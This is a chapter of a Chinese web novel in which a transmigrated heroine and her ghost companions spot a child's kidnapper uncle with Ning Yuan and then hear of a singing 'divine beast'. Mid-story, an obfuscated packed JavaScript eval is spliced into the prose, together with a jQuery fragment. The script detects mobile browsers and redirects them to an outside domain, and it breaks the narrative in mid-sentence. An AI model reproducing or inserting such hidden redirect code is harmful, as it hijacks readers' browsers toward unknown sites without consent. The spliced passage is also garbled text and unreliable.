“别忘了你自己的身份!外室生的贱种!”一个身着兵部官袍的中年男子,正用指尖狠狠戳着一位少年的胸口,唾沫横飞:“你爹这辈子都不可能正眼看你!他得仰仗正室夫人的娘家!懂吗?装什么清高孤傲?进了缉灵司就真当自己是个人物了?公主殿下那是抬举你!别给脸不要脸!” 字字句句往人脊梁骨戳,一张老嘴跟淬了毒一样。 被他训斥的少年身着缉灵司制服,身形高挑,脊背挺直如枪,指节捏得惨白,额角青筋隐现,却压抑着、沉默地承受着这羞辱。 小草看到那少年,几乎惊喊出声:“是宁渊哥哥!” 夏月明朝他做了个“嘘”的手势,皱起眉,继续躲在夜色中观望,小声道:“宁渊好像遇到什么麻烦了。” 诅咒显然比她更在意宁渊,原本藏在她颈侧衣领下的咒印,悄然蠕动到脖颈处,冒出一个小小的鬼脸来,两只绿豆大的鬼眼闪烁着不怀好意的精光,紧紧盯着宁渊,不知在憋什么坏水。 小白拉了拉夏月明的衣袖,低声提醒道:“主人,巡逻队要过来了,正事要紧。” 夏月明点头,正要离去,孟婆却站在原地,低声叫住了小草:“小草,你看那个人,眼熟吗?” 小草顺她手指的方向看去,小脸皱起,努力回忆,忽然眼睛一亮,不确定地问:“他……他好像是我舅舅?” 原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868501|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的注意力全在寻找糕点铺上,后来又在宁渊身上,竟没注意到宁渊对面那个可恶的身影。 隔了十多年岁月,男人胖了也老了,可神态间的油滑一点儿没减。 夏月明闻言也仔细看向那男人,小声确认道:“把你卖掉的舅舅?” 小草越看越像,激动点头,咬着牙回答:“对,没错,是他!” 小草的舅舅,竟然和宁渊认识,还似乎有很深的纠葛。 夏月明心中莫名有种“踏破铁屑无觅处,得来全不费工夫”的奇妙感觉。 她感激地着看向孟婆——若非她适时提醒,他们恐怕已经错过这条重要线索了。 孟婆却垂眸望街,神色从容,自然地避开了她的目光,并未打算接受任何谢意。 急促的脚步声由远及近,缉灵司的人就要来了。 众人只能先离开暗巷,赶往糕点铺的位置。 半个时辰后,他们终于到了铺子,但小草在铺子周围来来回回观察多遍,依旧茫然:“我不记得这条街,这家店也和我记忆中不一样。” 孟婆提醒道:“京城几经翻修,沧海桑田,铺子换了地方和装修也属寻常。” 众鬼决定先回驿馆,再做打算,无论如何,今晚得到了一个重要线索,没有白出来。 回到驿馆,小草在微弱烛光下,回忆起被舅舅拐走的细节:“那天我去学堂,是舅舅来接我,他给我吃了一块好甜的糖,然后我就好困好困……醒来……就在一个黑黑的车里,好多小朋友在哭……”再往后的记忆,对他来说过于痛苦, 月明将他轻轻抱入怀中,低声安慰,转移话题道:“京城翻新,很多痕迹都没了,靠小草十几年前的记忆估计很难找到。眼下唯一的线头,就是那个“舅舅”。他和宁渊看起来很熟,或许可以从宁渊那里打听到什么。” “但他也是缉灵司的人。”虽然曾在千魔窟共患难过,夏月明对他们来说也算有恩,但小白不相信这短暂的缘分,能让他忤逆有知遇之恩的上司。 “嗯,还得从长计议。”夏月明说着,打了个哈欠:“要不先休息吧,大家今天都累了。” 她说完,看着房间里唯一的床铺,有些尴尬:“只有一张床……” “我守夜。”小白站起身,默默走出门去。 “我找个清净地修炼。”孟婆言简意赅,也离开了房间。 “哈哈哈哈哈……”诅咒在月明耳边夸张地嘲笑着,“只有你这个懒鬼需要睡觉!丢不丢鬼脸?” 夏月明脸一热,正要反驳,小草揉着眼睛乖巧地说:“蔓姥姥,小草也困了!小草陪你一起当‘懒鬼’!” 夏月明心头一暖,笑着抱起小草到床上,轻拍着他的背,哼起在现代时听过的摇篮曲。 歌声似乎很有效,不多时,连聒噪的诅咒都安静了下来,房间内只剩下小草均匀的呼吸声和窗外细微的虫鸣。 翌日清晨,夏月明是被院子里的喊闹声吵醒的。 “祥瑞,祥瑞啊!” 她蹙眉坐起,小声咕哝:“外面怎么了?” 诅咒兴奋地在她面前凝聚出一张黑色的脸,像柯南里的小黑一样,两眼放光:“精彩!太精彩了!你猜怎么着?某地州府给狗皇帝献了个宝,说是上古神兽,上知天文下知地理,更绝的是——”他故意拉长语调,见夏月明的好奇心果然被勾了起来,才满意地说:“每天睡醒,一定会先唱一首歌,乌蒙山连着山外山~月光洒下的响水滩~~” 虽然他跑调到几乎离谱的程度,但夏月明还是认出了这首在现代随处都能听到的热门歌曲。 “什么?!”她瞳孔骤缩,感觉有股荒诞的熟悉感直冲天灵盖,“那个神兽不会也是穿越的吧?”